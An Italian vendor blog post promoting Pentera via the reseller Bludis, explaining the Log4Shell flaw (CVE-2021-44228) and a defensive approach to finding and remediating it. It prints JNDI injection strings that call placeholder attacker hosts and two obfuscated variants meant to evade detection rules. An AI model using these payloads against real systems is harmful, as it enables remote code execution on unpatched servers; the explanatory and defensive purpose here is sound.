Log4Shell. Continuano gli attacchi!

Log4Shell.

Log4Shell. Continuano gli attacchi!

Non c’è un solo addetto alla sicurezza al mondo che non abbia sentito parlare della recente vulnerabilità Apache Log4j 2. È stata divulgata pubblicamente tramite il progetto GitHub di Apache il 9 dicembre 2021. Questa vulnerabilità critica (CVE-2021-44228, CVSSv3 10.0) consente esecuzione di codice remoto non autenticato (RCE). La priorità ora è quindi l’applicazione di patch e l’eliminazione dei rischi. È interessante notare come nel 2016 Black Hat quasi segnalò ciò che sarebbe accaduto. Implementando questo come parte della best practice di Log4j, forse oggi si sarebbe ridotto il rischio e l’impatto. Quello che accade dietro le quinte è che quando un server registra i dati contenenti il ​​payload dannoso: ${jndi:ldap://malicious[.]server/a} o ${jndi:dns://… }, viene attivata la vulnerabilità Log4j.

Log4Shell. Come?

Il server effettua una richiesta a un malware.server tramite Java Naming and Directory Interface (JNDI). Ciò consente all’hacker di inserire un payload di classe Java ed eseguire codice arbitrario sul server di registrazione. Log4j può essere distribuito come pacchetto o incorporato nell’app stessa. Quindi, una convalida per l’esposizione deve includere entrambi. Diamo uno sguardo ai punti chiave di cui dovremmo essere a conoscenza. Faremo a Log4Shell, ma questo è rilevante per altre vulnerabilità critiche segnalate di recente.

Log4Shell. Beyond the app-layer vulnerability.

La maggior parte delle analisi e dei tentativi di sfruttamento di Log4j segnalati fino ad oggi (da GreyNoise e altri) si concentra su applicazioni web su HTTP/s. Tuttavia, mentre valutiamo l’esposizione di ciascuna azienda causata dalla vulnerabilità di Log4Shell, è importante considerare tutte le possibili interfacce di attacco sfruttabili oltre il livello di app. Interfacce aggiuntive devono essere incluse come parte dell’analisi dell’esposizione come: SSH, Telnet, FTP, DNS, SMTP, SNMP e, naturalmente, HTTP/s.

Log4Shell. Don’t trust “just” the IOCs.

Non sarei sorpreso se Google dichiarasse la stringa più cercata dell’anno come ${jndi:ldap://attack[.]com/a}. Ma l’ambito della vulnerabilità Log4Shell è più ampio di quello che è stato identificato fino ad oggi. Negli ambienti di produzione è comune registrare le informazioni http. Tuttavia, l’uso limitato di User Agent, Accept e altri parametri non implica una comprensione completa della vulnerabilità o la capacità di scansionarne completamente l’esistenza. È qui che un tradizionale approccio IOC (Indicators of Compromise) può fuorviare i team di sicurezza che cercano di abbinare 1:1 a ${jndi:ldap://attack[.]com/a}. Gli scanner di vulnerabilità avranno una certa copertura e le regole WAF saranno in grado di bloccare l’accesso dannoso. Tuttavia, il system indenting, l’esecuzione di esercizi autenticati da uno scenario di presunta violazione è un gioco diverso che dobbiamo giocare qui.

Log4Shell. Exploit vulnerabilities.

Sono state rilasciate informazioni sulle minacce di IP noti che tentano lo sfruttamento di Log4Shell e diverse regole WAF o IDS. Gli hacker che sfruttano la vulnerabilità di Log4Shell utilizzano la codifica, l’offuscamento e la crittografia per evitare la prevenzione e il rilevamento delle regole basate su IOC. Due esempi usati per aggirare i rilevamenti di corrispondenza delle stringhe sono: ({jndi:${lower:l}${lower:d}a${lower:p}) e ($(${::-j}${: :-n}${::-d}$::-i}). In alcuni casi, il quick and dirty approach può fornire un certo aiuto (blocco JNDI), specialmente per applicazioni e server che non possono essere immediatamente corretti. Tuttavia, alla fine della giornata fornirebbero un falso senso di prontezza.

Log4Shell. Know your real risk.

Con il rilascio iniziale della vulnerabilità Log4Shell, Pentera Labs ha immediatamente avviato la sua ricerca. A differenza della maggior parte dei ricercatori e dei professionisti della sicurezza, l’obiettivo era capire come gli aggressori possono utilizzare questa vulnerabilità per portare avanti l’attacco, oltre lo sfruttamento, e raggiungere i propri obiettivi, indipendentemente dal terreno o dalla topologia di rete in cui operano. Inoltre, poiché gli aggiornamenti software e le patch richiedono luogo, l’obiettivo è convalidare che le misure di riparazione adottate hanno effettivamente eliminato l’esposizione su una correzione parziale, come vediamo spesso.

Log4Shell. Discover.

Innanzitutto, dobbiamo capire che un componente critico di ogni soluzione di sicurezza è la visibilità. Conosci la tua superficie di attacco, conosci le tue risorse. Questo passaggio inizia dalla scoperta della tua superficie di attacco sfruttabile, quella esposta esternamente e attraverso la tua infrastruttura interna.

Log4Shell. Enumerate.

Il prossimo passo è scavare più a fondo e ottenere il giusto contesto sulla risorsa trovata, come accennato in precedenza, il server sottostante o l’applicazione che esegue la libreria Log4j. In tale contesto, puoi fare un altro passo per assicurarti che tutte le possibili esposizioni di Log4j vengano trovate per avviare i test e valutare l’ambito del rischio.

Log4Shell. Attack.

Ogni server, ogni applicazione, ogni protocollo è intrinsecamente diverso l’uno dall’altro. Pertanto, l’approccio adottato deve andare oltre quanto pubblicato fino ad oggi: ldap, HTTP/s, UAS, … per assumere che il ventaglio di possibilità nelle mani dell’attaccante sia sempre più grande di quanto si sappia. Quando si valutano le possibilità di sfruttamento, devono essere presi in considerazione tutti i parametri della richiesta. A questo si è rivolto il gruppo di ricerca Pentera quando è trapelata la notizia. Il team ha iniziato a mappare tutte le possibili strade disponibili per l’avversario da sfruttare, confondendo migliaia di variabili in ogni intestazione, permutazione, codifica o tecnica di offuscamento che può essere utilizzata per scoprire i punti deboli dell’infrastruttura. Questi in aggiunta agli scanner basati sul CIO e alle regole di rilevamento che forniscono un sollievo immediato ma parziale.

Log4Shell. Prioritizing Remediation.

Ricorda la nota precedente: attendi prima di applicare la patch patch. Nel caso della pandemia di Log4j, tutti e (quasi) tutto sono un bersaglio. Da un server ad alto rischio con un sistema immunitario vulnerabile fino a un’applicazione nota per resistere all’attacco senza gravi effetti collaterali. La domanda è su cosa dovresti concentrare i tuoi sforzi. Non dimentichiamo che avevamo altre 30 vulnerabilità critiche contro cui agire, abbiamo avuto un recente zero-day di MS Exchange segnalato per essere sfruttato in natura. Da dove iniziare?

Questo è esattamente ciò su cui si concentrano i ricercatori di Pentera. Log4Shell è, sfortunatamente, un altro modo per l’avversario di ottenere il controllo remoto e portare avanti un attacco fino a ottenere l’accesso ai segreti aziendali e raggiungere gli obiettivi. Pertanto, i risultati di un hacker devono essere affrontati tenendo conto della profondità e dell’ampiezza di un exploit in una determinata rete, calcolata su tutte le vulnerabilità (e non solo su quelle log4j).

Vuoi approfondire la conoscenza della soluzione Pentera? Consulta la nostra pagina https://www.bludis.it/p/pentera o contatta gli specialisti di Bludis allo 0643230077 o inviando una e-mail a sales@bludis.it